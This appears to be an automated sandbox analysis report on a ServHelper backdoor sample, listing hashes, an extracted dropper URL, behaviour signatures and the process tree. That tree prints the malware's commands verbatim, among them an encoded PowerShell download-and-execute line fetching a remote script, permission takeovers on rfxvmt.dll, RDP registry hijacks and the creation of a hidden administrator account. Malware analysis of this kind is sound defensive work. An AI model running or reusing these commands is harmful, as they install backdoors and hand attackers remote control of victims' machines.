Analysis

  • max time kernel
    131s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    20-07-2021 09:16

General

  • Target

    exe1.bin.exe

  • Size

    4.6MB

  • MD5

    eaee663dfeb2efcd9ec669f5622858e2

  • SHA1

    2b96f0d568128240d0c53b2a191467fde440fd93

  • SHA256

    6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2

  • SHA512

    211951f053ddecc6e0545a83119112d6ad375e226437d6a26ed493b362e51da3718131d59fb045c9b2feea91e04d3b82e9be4e52a46fe2e84ed4f3b4ed2213b3

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\exe1.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\exe1.bin.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:568
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4ollxdjq\4ollxdjq.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1532
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES620D.tmp" "c:\Users\Admin\AppData\Local\Temp\4ollxdjq\CSCD430DA36425C492D97B3F7169A39AFC7.TMP"
          4⤵
            PID:1880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1068
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1164
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1592
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1568
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:620
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1680
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1964
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1100
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1712
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1780
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:940
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:892
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1472
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1256
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1312
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1664
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1392
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1896
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1520
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1608
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:844
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:748
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1020
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1372
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1632
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:984
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1692
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:620
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 3wIPoLDq /add
                                  1⤵
                                    PID:1880
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 3wIPoLDq /add
                                      2⤵
                                        PID:1168
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 3wIPoLDq /add
                                          3⤵
                                            PID:1100
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1684
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:892
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:328
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:1132
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:1096
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:1804
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1312
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1688
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1692
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc 3wIPoLDq
                                                          1⤵
                                                            PID:1532
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc 3wIPoLDq
                                                              2⤵
                                                                PID:1600
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc 3wIPoLDq
                                                                  3⤵
                                                                    PID:1964
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:292
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:328
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:900
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:692
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:868
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1656
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:940

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/568-72-0x000000001AA24000-0x000000001AA26000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/568-74-0x000000001C3F0000-0x000000001C3F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-86-0x000000001B4D0000-0x000000001B4D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-101-0x000000001AA2A000-0x000000001AA49000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/568-85-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-158-0x000000001C6F0000-0x000000001C6F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-84-0x000000001B690000-0x000000001B691000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-82-0x0000000002420000-0x0000000002421000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-66-0x000007FEFC051000-0x000007FEFC053000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/568-71-0x000000001AA20000-0x000000001AA22000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/568-70-0x000000001B490000-0x000000001B491000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-69-0x000000001A9C0000-0x000000001A9C1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-68-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-67-0x0000000002350000-0x0000000002351000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/940-239-0x000000001936A000-0x0000000019389000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/940-210-0x0000000019364000-0x0000000019366000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/940-209-0x0000000019360000-0x0000000019362000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1068-134-0x000000001A9A4000-0x000000001A9A6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1068-127-0x0000000002410000-0x0000000002411000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1068-129-0x000000001B8C0000-0x000000001B8C1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1068-131-0x000000001AB20000-0x000000001AB21000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1068-132-0x0000000002060000-0x0000000002061000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1068-133-0x000000001A9A0000-0x000000001A9A2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1164-149-0x000000001AC00000-0x000000001AC02000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1164-150-0x000000001AC04000-0x000000001AC06000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1372-97-0x000000001B730000-0x000000001B731000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1372-93-0x000000001AC84000-0x000000001AC86000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1372-99-0x00000000026A0000-0x00000000026A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1372-92-0x000000001AC80000-0x000000001AC82000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1372-120-0x000000001AA10000-0x000000001AA11000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1372-100-0x0000000001E20000-0x0000000001E21000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1372-106-0x000000001A9D0000-0x000000001A9D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1372-119-0x0000000002940000-0x0000000002941000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1372-95-0x0000000002440000-0x0000000002441000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1984-59-0x00000000410A0000-0x000000004134A000-memory.dmp

                                                                        Filesize

                                                                        2.7MB

                                                                      • memory/1984-63-0x0000000040B76000-0x0000000040B77000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1984-62-0x0000000040B74000-0x0000000040B76000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1984-61-0x0000000040B72000-0x0000000040B74000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1984-64-0x0000000040B77000-0x0000000040B78000-memory.dmp

                                                                        Filesize

                                                                        4KB